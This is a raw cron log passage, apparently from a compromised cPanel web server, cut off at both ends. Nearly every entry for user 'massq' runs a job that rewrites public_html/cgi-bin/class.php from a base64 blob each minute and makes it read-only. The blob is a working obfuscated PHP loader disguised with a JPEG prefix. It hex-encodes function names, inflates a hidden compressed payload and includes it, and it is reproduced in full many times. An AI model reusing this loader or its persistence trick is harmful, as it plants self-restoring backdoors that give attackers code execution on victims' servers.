"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:49:01 server CROND[20077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:50:01 server CROND[20132]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 16:50:01 server CROND[20131]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:50:01 server CROND[20137]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 16:50:01 server CROND[20135]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:50:01 server CROND[20139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:51:01 server CROND[20244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:52:01 server CROND[20301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:53:01 server CROND[20467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:54:01 server CROND[20540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:55:01 server CROND[20594]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:55:01 server CROND[20595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:55:01 server CROND[20597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:56:01 server CROND[20695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:57:01 server CROND[20758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:57:01 server CROND[20759]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 16:58:01 server CROND[20821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:59:01 server CROND[20967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:00:01 server CROND[21013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 17:00:01 server CROND[21014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 17:00:01 server CROND[21015]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 17:00:01 server CROND[21016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 17:01:01 server CROND[21123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7